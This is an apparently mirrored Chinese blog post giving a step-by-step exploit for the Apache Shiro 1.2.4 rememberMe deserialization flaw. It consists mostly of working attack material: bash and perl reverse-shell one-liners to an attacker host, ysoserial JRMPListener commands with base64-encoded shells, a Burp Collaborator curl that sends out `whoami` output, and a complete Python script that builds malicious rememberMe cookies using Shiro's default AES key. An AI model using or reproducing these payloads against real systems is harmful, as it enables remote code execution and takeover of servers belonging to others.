zoukankan      html  css  js  c++  java
  • 【实战】Apache shiro<=1.2.4 Getshell

    方法一

    利用JRMPClient

    反弹shell方式

    Bash:

    bash -i >& /dev/tcp/attackIP/7777 0>&1

    /bin/bash -i > /dev/tcp/attackIP/7777 0<&1 2>&1

    0<&196;exec 196<>/dev/tcp/attackIP/7777; sh <&196 >&196 2>&196

    Perl:

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackIP:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

    另外还需要通过http://www.jackson-t.ca/runtime-exec-payloads.html进行编码

    1、vps执行

    java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "bash -c {echo,YmFzaCAgLWkgPiAvZGV2RjcC8xNTAuMTA5LjIxLjg5Lzc3NzcgMDmMSAyPiYx}|{base64,-d}|{bash,-i}"

    2、vps开启监听

    nc -lvvp 7777       

    3、脚本生成payload

    python shiro_exp.py attackIP:1099

    4、发送payload

    最后将payload放到http请求的cookie中,提交到服务端

    5、执行成功后vps就会反弹一个shell

    方法二

    1、Burp开启Collaborator client

    复制地址,如

    uxvlrccmyjkksr7ys3cckj3o9ff53u.burpcollaborator.net

    2、攻击者服务器VPS开启监听

    java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "curl http://uxvlrccmyjkksr7ys3cckj3o9ff53u.burpcollaborator.net/`whoami`"

    3、使用POC生成指向VPS JRMP Listener 服务1099端口的payload

    python shiro_exp.py "attackIP:1099"

    4、查看Collaborator client结果

    方法三

    利用CommonsBeanutils1、CommonsCollection1或者Jdk7u21

    Python shiro_exp.py "bash -c {echo,YmFzaCAgLWkgPiAvZGV2L3RjcC8xNTAuMTA5LjIxLjg5Lzc3NzcgMDwmMSAyPiYx}|{base64,-d}|{bash,-i}"

    vps监听nc -lvvp 7777

    附shiro_exp.py

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])    
    print "rememberMe={0}".format(payload.decode())
    注:需要下载ysoserial-0.0.6-SNAPSHOT-all.jar,github上搜一下。
  • 相关阅读:
    项目后台的最新认识和对MVC封装性、可维护性的更深刻认识!
    java综述
    android模拟器里输出程序:HelloWorld
    JAVA程序员必去的网站
    1.MVC框架复习 2.Ajax加强 3.搜索建议 4,三级联动 5、刷新分页 6、Ajax局部动态更新数据
    jQuery的几个例子流程讲解
    1.jQuery基础语法 2.jQuery选择器、操作页面文档元素 3.jqueryDOM操作 4.jqueryCSS操作 5.Jquery事件 6.Jquery动画
    成功站长应具备的良好心态
    java的学习步骤方法书籍大总结
    Java常用类
  • 原文地址:https://www.cnblogs.com/peterpan0707007/p/11342997.html
Copyright © 2011-2022 走看看